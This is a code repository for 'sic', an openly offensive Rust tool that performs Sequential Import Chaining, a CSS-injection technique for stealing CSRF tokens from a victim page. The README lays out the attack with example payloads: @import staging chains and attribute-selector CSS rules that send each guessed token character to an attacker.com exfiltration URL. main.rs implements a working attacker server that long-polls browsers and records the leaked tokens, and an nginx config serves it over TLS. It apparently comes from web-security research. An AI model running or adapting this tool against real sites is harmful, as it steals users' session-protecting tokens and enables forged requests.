├── .gitignore
├── .idea
├── encodings.xml
├── misc.xml
├── modules.xml
└── vcs.xml
├── Cargo.toml
├── LICENSE
├── README.md
├── example_nginx.conf
├── sic.iml
└── src
└── main.rs
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Created by https://www.gitignore.io/api/rust,intellij
3 | # Edit at https://www.gitignore.io/?templates=rust,intellij
4 |
5 | ### Intellij ###
6 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and WebStorm
7 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
8 |
9 | # User-specific stuff
10 | .idea/**/workspace.xml
11 | .idea/**/tasks.xml
12 | .idea/**/usage.statistics.xml
13 | .idea/**/dictionaries
14 | .idea/**/shelf
15 |
16 | # Generated files
17 | .idea/**/contentModel.xml
18 |
19 | # Sensitive or high-churn files
20 | .idea/**/dataSources/
21 | .idea/**/dataSources.ids
22 | .idea/**/dataSources.local.xml
23 | .idea/**/sqlDataSources.xml
24 | .idea/**/dynamic.xml
25 | .idea/**/uiDesigner.xml
26 | .idea/**/dbnavigator.xml
27 |
28 | # Gradle
29 | .idea/**/gradle.xml
30 | .idea/**/libraries
31 |
32 | # Gradle and Maven with auto-import
33 | # When using Gradle or Maven with auto-import, you should exclude module files,
34 | # since they will be recreated, and may cause churn. Uncomment if using
35 | # auto-import.
36 | # .idea/modules.xml
37 | # .idea/*.iml
38 | # .idea/modules
39 |
40 | # CMake
41 | cmake-build-*/
42 |
43 | # Mongo Explorer plugin
44 | .idea/**/mongoSettings.xml
45 |
46 | # File-based project format
47 | *.iws
48 |
49 | # IntelliJ
50 | out/
51 |
52 | # mpeltonen/sbt-idea plugin
53 | .idea_modules/
54 |
55 | # JIRA plugin
56 | atlassian-ide-plugin.xml
57 |
58 | # Cursive Clojure plugin
59 | .idea/replstate.xml
60 |
61 | # Crashlytics plugin (for Android Studio and IntelliJ)
62 | com_crashlytics_export_strings.xml
63 | crashlytics.properties
64 | crashlytics-build.properties
65 | fabric.properties
66 |
67 | # Editor-based Rest Client
68 | .idea/httpRequests
69 |
70 | # Android studio 3.1+ serialized cache file
71 | .idea/caches/build_file_checksums.ser
72 |
73 | # JetBrains templates
74 | **___jb_tmp___
75 |
76 | ### Intellij Patch ###
77 | # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721
78 |
79 | # *.iml
80 | # modules.xml
81 | # .idea/misc.xml
82 | # *.ipr
83 |
84 | # Sonarlint plugin
85 | .idea/sonarlint
86 |
87 | ### Rust ###
88 | # Generated by Cargo
89 | # will have compiled files and executables
90 | /target/
91 |
92 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
93 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
94 | Cargo.lock
95 |
96 | # These are backup files generated by rustfmt
97 | **/*.rs.bk
98 |
99 | # End of https://www.gitignore.io/api/rust,intellij
100 | #
101 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "sic"
3 | version = "0.1.0"
4 | authors = ["d0nut "]
5 | edition = "2018"
6 |
7 | [dependencies]
8 | clap = "2.32.0"
9 | futures = "0.1.25"
10 | hyper = "0.12.25"
11 | rand = "0.6"
12 | url = "1.7.2"
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019 d0nut
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Sequential Import Chaining
2 |
3 | Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using `x-frame-options: deny` or `x-frame-options: sameorigin`. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).
4 |
5 | Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.
6 |
7 | ### Blog Post
8 | I wrote a blog post on this. Read about it [here!](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)
9 |
10 | ## Prerequisites for Attack
11 |
12 | This attack only works if the attacker at least one of these:
13 |
14 | * Style tag injection (HTML injection, for example)
15 | * Control of CSS at the top of a style tag.
16 |
17 | The first case is probably more likely and will work even if filtered through vanilla DOM Purify.
18 |
19 | ## Building
20 |
21 | 1. Install RustUp (https://rustup.rs/ - `curl https://sh.rustup.rs -sSf | sh`)
22 | 2. Install the nightly (`rustup install nightly`)
23 | 3. Default to nightly (`rustup default nightly`)
24 | 4. Build with cargo (`cargo build --release`)
25 |
26 | You will find the built binary at `./target/release/sic`
27 |
28 | ## Usage
29 | `sic` has documentation on the available flags when calling `sic -h` but the following is information for general usage.
30 |
31 | * `-p` will set the lower port that `sic` will operate on. By default this is 3000. `sic` will also listen on port `port + 1` (by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.
32 | * `--ph` sets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults to `http://localhost:3000`. This _must_ be different than `--ch`
33 | * `--ch` similar to `--ph` but this sets the "callback host" where tokens are sent. Defaults to `http://localhost:3001`. This _must_ be different than `--ph`.
34 | * `-t` specifies the template file used to generate the token exfiltration payloads.
35 | * `--charset` specifies the set of characters that may exist in the target token. Defaults to alphanumerics (`abc...890`).
36 |
37 | A standard usage of this tool may look like the following:
38 | ```
39 | ./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file
40 | ```
41 |
42 | And the HTML injection payload you might use would look like:
43 | ```
44 |
45 | ```
46 |
47 | The `len` parameter specifies how long the token is. This is necessary for `sic` to generate the appropriate number of `/polling` responses. If unknown, it's safe to use a value higher than the total number of chars in the token.
48 |
49 | ### Advanced Logs
50 | `sic` will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable `RUST_LOG`.
51 |
52 | ```
53 | RUST_LOG=info ./sic -t my_template_file
54 | ```
55 |
56 | ### Templates
57 | The templating system is very straightforward for `sic`. There are two actual templates (probably better understood as 'placeholders'):
58 | * `{{:token:}}` - This is the current token that we're attempting to test for. This would be the `xyz` in `input[name=csrf][value^=xyz]{...}`
59 | * `{{:callback:}}` - This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (`--ch`). All the information `sic` needs to understand what happened client-side will be in this url.
60 |
61 | An example template file might look like this:
62 | ```
63 | input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }
64 | ```
65 |
66 | `sic` will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.
67 |
68 | ### HTTPS
69 | HTTPS is not directly support via `sic`; however, it's possible to use a tool like nginx to set up a reverse proxy in front of `sic`. An example configuration is found in the [example nginx config](/example_nginx.conf) file thoughtfully crafted up by [nbk_2000](https://twitter.com/nbk_2000).
70 |
71 | After nginx is configured, you would run `sic` using a command similar to the following:
72 |
73 | ```
74 | ./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file
75 | ```
76 |
77 | Note that the ports on `--ph` and `--ch` match up with the ports nginx is serving and not `sic`.
78 |
79 | ## Technique Description
80 |
81 | For a better story and additional information, please see my blog post on [Sequential Import Chaining here](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b).
82 |
83 | The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.
84 |
85 | Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah).
86 |
87 | However, we don't actually need to reload the frame to get the browser to reevaluate *new* CSS.
88 |
89 | Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:
90 |
91 | 1. Inject an `@import` rule to the staging payload
92 | 2. Staging payload uses `@import` to begin long-polling for malicious payloads
93 | 3. Payloads cause browser to call out using `background-img: url(...)` causing the next long-polled `@import` rule to be generated and returned to the browser.
94 |
95 | ## Example
96 |
97 | Here's an example of what these might look like:
98 |
99 | ### Payload
100 | ``
101 |
102 | ### Staging
103 | ```
104 | @import url(http://attacker.com/lp?len=0);
105 | @import url(http://attacker.com/lp?len=1);
106 | @import url(http://attacker.com/lp?len=2);
107 | ...
108 | @import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token
109 | ```
110 |
111 | ### Long-polled Payload (length 0)
112 | This is a unique, configurable template in `sic` because this part is very context specific to the vulnerable application.
113 | ```
114 | input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
115 | input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
116 | input[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); }
117 | ...
118 | input[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); }
119 | ```
120 |
121 | After the browser calls out to `http://attacker.com/exfil?t=`, `sic` records the token, generate the next long-polled payload, and return a response for `http://attacaker.com/lp?len=1`.
122 |
123 | ### Long-polled Payload (length 1 - given `s` as first char)
124 | ```
125 | input[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); }
126 | input[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); }
127 | input[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); }
128 | ...
129 | input[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); }
130 | ```
131 |
132 | This repeats until no more long-polled connections are open.
133 |
134 | ----
135 |
136 | Shoutout to the following hackers for help in one way or another.
137 |
138 | * [0xacb](https://twitter.com/0xACB)
139 | * [cache-money](https://twitter.com/itscachemoney)
140 | * [Shubs](https://twitter.com/infosec_au)
141 | * [Sean](https://twitter.com/seanyeoh)
142 | * [Ruby](https://twitter.com/_ruby)
143 | * [vila](https://twitter.com/cgvwzq)
144 | * [nbk_2000](https://twitter.com/nbk_2000)
145 |
--------------------------------------------------------------------------------
/example_nginx.conf:
--------------------------------------------------------------------------------
1 | # Nginx Example Config for sic (Sequential Import Chaining) tool by @d0nutptr
2 | #
3 | # Should let Nginx terminate SSL/TLS connections for sic
4 | # assuming the sic tool is being run something like this:
5 | #
6 | # ./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file
7 | #
8 | # NOTE: If you don't have a wildcard certificate, then you'll need to obtain
9 | # a certificate for the hostname used for the Polling (ph) and Callback (ch) hosts
10 | #
11 | # Config written by @nbk_2000 22-APR-2019
12 |
13 | server {
14 |
15 | listen 80 default_server;
16 | listen 443 ssl default_server;
17 |
18 | root /var/www/html;
19 |
20 | index index.html index.php;
21 |
22 | server_name _ ~^(?.+)\.attacker\.com$;
23 |
24 | location ~* \/(polling|callback|staging).* {
25 | proxy_pass http://127.0.0.1:3000;
26 | proxy_read_timeout 3600;
27 | add_header Content-Type text/css;
28 | }
29 |
30 | ssl_certificate /path/to/your/wildcard/cert/goes/here/fullchain.pem;
31 | ssl_certificate_key /path/to/your/wildcard/cert/goes/here/privkey.pem;
32 | }
33 |
--------------------------------------------------------------------------------
/sic.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | extern crate clap;
2 | extern crate futures;
3 | extern crate hyper;
4 | extern crate rand;
5 | extern crate url;
6 |
7 |
8 | use clap::{Arg, App};
9 | use futures::Async;
10 | use futures::future;
11 | use futures::task::Task;
12 | use hyper::{Body, Method, Request, Response, Server, StatusCode};
13 | use hyper::rt::Future;
14 | use hyper::service::service_fn;
15 | use rand::prelude::*;
16 | use std::borrow::Cow;
17 | use std::collections::{HashMap, VecDeque};
18 | use std::fs;
19 | use std::net::SocketAddr;
20 | use std::string::String;
21 | use std::sync::Arc;
22 | use std::sync::RwLock;
23 | use std::sync::RwLockReadGuard;
24 | use std::sync::RwLockWriteGuard;
25 | use url::Url;
26 |
27 | /// We need to return different futures depending on the route matched,
28 | /// and we can do that with an enum, such as `futures::Either`, or with
29 | /// trait objects.
30 | ///
31 | /// A boxed Future (trait object) is used as it is easier to understand
32 | /// and extend with more types. Advanced users could switch to `Either`.
33 | type BoxFut = Box, Error = hyper::Error> + Send>;
34 |
35 | fn parse_query_params(req: &Request) -> HashMap {
36 | let url = Url::parse("http://localhost").unwrap().join(&req.uri().to_string()).unwrap();
37 | let cow_params: Vec<(Cow, Cow)> = url.query_pairs().collect();
38 | let mut params = HashMap::new();
39 |
40 | cow_params.iter().for_each(|item| {
41 | params.insert(item.0.to_string(), item.1.to_string());
42 | });
43 |
44 | params
45 | }
46 |
47 | /// This is our service handler. It receives a Request, routes on its
48 | /// path, and returns a Future of a Response.
49 | fn service_handler(req: Request, state: StateMap) -> BoxFut {
50 | let mut response = Response::new(Body::empty());
51 |
52 | match (req.method(), req.uri().path()) {
53 | (&Method::GET, "/staging") => {
54 | let params = parse_query_params(&req);
55 | let len = match params.get("len").unwrap().parse::() {
56 | Ok(len) => len,
57 | Err(_) => {
58 | *response.status_mut() = StatusCode::INTERNAL_SERVER_ERROR;
59 | *response.body_mut() = Body::from("Missing len parameter on staging.".to_string());
60 | return Box::new(future::ok(response));
61 | }
62 | };
63 |
64 | // generate a unique id here
65 | let mut rng = rand::thread_rng();
66 | let id: u32 = rng.gen();
67 |
68 | let host = &state.polling_host;
69 |
70 | let mut staging_payload = "".to_string();
71 |
72 | for i in 0 .. len {
73 | staging_payload += &format!("@import url({});\n", craft_polling_url(host, &id.to_string(), i).to_string());
74 | }
75 |
76 | *response.body_mut() = Body::from(staging_payload);
77 | }
78 | (&Method::GET, "/polling") => {
79 | let params = parse_query_params(&req);
80 | let id = params.get("id").unwrap();
81 | let len = params.get("len").unwrap().parse::().unwrap();
82 |
83 | let generated_future = GeneratedCssFuture {
84 | id: id.clone(),
85 | len,
86 | state
87 | };
88 |
89 | return Box::new(generated_future);
90 | }
91 | (&Method::GET, "/callback") => {
92 | let params = parse_query_params(&req);
93 | let id = params.get("id").unwrap();
94 | let token = params.get("token").unwrap();
95 |
96 | state.insert_or_update_token(id, token);
97 |
98 | let queue: RwLockReadGuard> = state.awaiting_jobs.read().unwrap();
99 |
100 | queue.iter().for_each(|task| {
101 | task.notify()
102 | });
103 |
104 | println!("[id: {}] - {}", id, token);
105 |
106 | *response.body_mut() = Body::from("Successfully added new token state");
107 | }
108 |
109 | // The 404 Not Found route...
110 | _ => {
111 | *response.status_mut() = StatusCode::NOT_FOUND;
112 | }
113 | };
114 |
115 | Box::new(future::ok(response))
116 | }
117 |
118 | struct GeneratedCssFuture {
119 | id: String,
120 | len: u32,
121 | state: StateMap
122 | }
123 |
124 | impl Future for GeneratedCssFuture {
125 | type Item = Response;
126 | type Error = hyper::Error;
127 |
128 | fn poll(&mut self) -> Result, Self::Error> {
129 | let current_token = match self.state.get_token(&self.id) {
130 | Some(token) => token.clone(),
131 | None => "".to_string()
132 | };
133 |
134 | if current_token.len() as u32 >= self.len {
135 | let mut response = Response::new(Body::empty());
136 | *response.body_mut() = Body::from(process_template(&self.state.template_line, &self.state.callback_host, &self.id, &self.state.charset, ¤t_token));
137 | return Ok(Async::Ready(response));
138 | }
139 |
140 | let mut queue: RwLockWriteGuard> = self.state.awaiting_jobs.write().unwrap();
141 | queue.push_back(futures::task::current());
142 | return Ok(Async::NotReady);
143 | }
144 | }
145 |
146 | #[derive(Clone)]
147 | struct StateMap {
148 | inner: Arc>>,
149 | awaiting_jobs: Arc>>,
150 | polling_host: String,
151 | callback_host: String,
152 | template_line: String,
153 | charset: String
154 | }
155 |
156 | impl StateMap {
157 | fn new(polling_host: String, callback_host: String, template_line: String, charset: String) -> Self {
158 | StateMap {
159 | inner: Arc::new(RwLock::new(HashMap::new())),
160 | awaiting_jobs: Arc::new(RwLock::new(VecDeque::new())),
161 | polling_host,
162 | callback_host,
163 | template_line,
164 | charset
165 | }
166 | }
167 |
168 | fn get_token(&self, id: &String) -> Option {
169 | self.inner.read().unwrap().get(id).map(|f| f.clone())
170 | }
171 |
172 | fn insert_or_update_token(&self, id: &String, value: &String) {
173 | self.inner.write().unwrap().insert(id.clone(), value.clone());
174 | }
175 | }
176 |
177 | fn main() {
178 | let matches = App::new("sic")
179 | .version("1.0")
180 | .author("By d0nut (https://twitter.com/d0nutptr)")
181 | .about("A tool to perform Sequential Import Chaining.")
182 | .arg(Arg::with_name("polling_host")
183 | .long("ph")
184 | .default_value("http://localhost:3000")
185 | .help("The address sic should use when calling polling endpoints. Must be different than the callback host.")
186 | .takes_value(true)
187 | .number_of_values(1))
188 | .arg(Arg::with_name("callback_host")
189 | .long("ch")
190 | .default_value("http://localhost:3001")
191 | .help("The address sic should use when calling callback endpoints. Must be different than the polling host.")
192 | .takes_value(true)
193 | .number_of_values(1))
194 | .arg(Arg::with_name("template")
195 | .short("t")
196 | .long("template")
197 | .help("Points to a local file containing the css exfiltration template. \n\
198 | For more information on building templates, refer to the README.md that came with this project.")
199 | .required(true)
200 | .takes_value(true)
201 | .number_of_values(1))
202 | .arg(Arg::with_name("charset")
203 | .short("c")
204 | .long("charset")
205 | .default_value("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
206 | .help("Defines the list of possible characters that can be used in this token.")
207 | .takes_value(true)
208 | .number_of_values(1))
209 | .arg(Arg::with_name("port")
210 | .short("p")
211 | .long("port")
212 | .help("Specifies the lower of two service instances that sic will spawn. For example, if 3000 is specified, sic will spawn on 3000 and 3001.")
213 | .required(false)
214 | .takes_value(true)
215 | .number_of_values(1)
216 | .default_value("3000"))
217 | .get_matches();
218 |
219 | let polling_host = matches.value_of("polling_host").unwrap().to_string();
220 | let callback_host = matches.value_of("callback_host").unwrap().to_string();
221 | let template_loc = matches.value_of("template").unwrap().to_string();
222 | let charset = matches.value_of("charset").unwrap().to_string();
223 | let port: u16 = matches.value_of("port").unwrap().parse::().unwrap();
224 |
225 | assert_ne!(polling_host, callback_host);
226 |
227 | let template_line = fs::read_to_string(template_loc).expect("Unable to read template file.");
228 |
229 | hyper::rt::run(future::lazy(move || {
230 | let state = StateMap::new(polling_host.clone(), callback_host.clone(), template_line, charset.clone());
231 |
232 | let polling_addr = SocketAddr::from(([0, 0, 0, 0], port));
233 | let polling_state_instance = state.clone();
234 | let polling_responder = Server::bind(&polling_addr)
235 | .serve(move || {
236 | let state = polling_state_instance.clone();
237 |
238 | service_fn( move |req: Request| {
239 | service_handler(req, state.clone())
240 | })
241 | })
242 | .map_err(|e| eprintln!("polling responder server error: {}", e));
243 |
244 | let callback_addr = SocketAddr::from(([0, 0, 0, 0], port + 1));
245 | let callback_state_instance = state.clone();
246 | let callback_responder = Server::bind(&callback_addr)
247 | .serve(move || {
248 | let state = callback_state_instance.clone();
249 |
250 | service_fn(move |req: Request| {
251 | service_handler(req, state.clone())
252 | })
253 | })
254 | .map_err(|e| eprintln!("callback responder server error: {}", e));
255 |
256 | hyper::rt::spawn(polling_responder);
257 | hyper::rt::spawn(callback_responder);
258 |
259 | Ok(())
260 | }));
261 | }
262 |
263 | fn process_template(template_str: &String, host: &String, id: &String, charset: &String, known_token: &String) -> String {
264 | let mut result = "".to_string();
265 |
266 | for chr in charset.chars() {
267 | let token_payload = format!("{}{}", known_token, &chr);
268 | let callback = craft_callback_url(host, id, &token_payload);
269 | result += &template_str
270 | .clone()
271 | .replace("{{:callback:}}", &callback.to_string())
272 | .replace("{{:token:}}", &escape_for_css(&token_payload));
273 | }
274 |
275 | result
276 | }
277 |
278 | fn craft_callback_url(host: &String, id: &String, token: &String) -> Url {
279 | let mut url = Url::parse(host).unwrap();
280 | url.set_path("callback");
281 | url.query_pairs_mut()
282 | .append_pair("token", token)
283 | .append_pair("id", id);
284 |
285 | url
286 | }
287 |
288 | fn craft_polling_url(host: &String, id: &String, len: u32) -> Url {
289 | let mut url = Url::parse(host).unwrap();
290 | url.set_path("polling");
291 | url.query_pairs_mut()
292 | .append_pair("len", &len.to_string())
293 | .append_pair("id", id);
294 |
295 | url
296 | }
297 |
298 | fn escape_for_css(unescaped_str: &String) -> String {
299 | unescaped_str.replace("\\", "\\\\")
300 | .replace("!", "\\!")
301 | .replace("\"", "\\\"")
302 | .replace("#", "\\#")
303 | .replace("$", "\\$")
304 | .replace("%", "\\%")
305 | .replace("&", "\\&")
306 | .replace("'", "\\'")
307 | .replace("(", "\\(")
308 | .replace(")", "\\)")
309 | .replace("*", "\\*")
310 | .replace("+", "\\+")
311 | .replace(",", "\\,")
312 | .replace("-", "\\-")
313 | .replace(".", "\\.")
314 | .replace("/", "\\/")
315 | .replace(":", "\\:")
316 | .replace(";", "\\;")
317 | .replace("<", "\\<")
318 | .replace("=", "\\=")
319 | .replace(">", "\\>")
320 | .replace("?", "\\?")
321 | .replace("@", "\\@")
322 | .replace("[", "\\[")
323 | .replace("]", "\\]")
324 | .replace("^", "\\^")
325 | .replace("`", "\\`")
326 | .replace("{", "\\{")
327 | .replace("|", "\\|")
328 | .replace("}", "\\}")
329 | .replace("~", "\\~")
330 | }
--------------------------------------------------------------------------------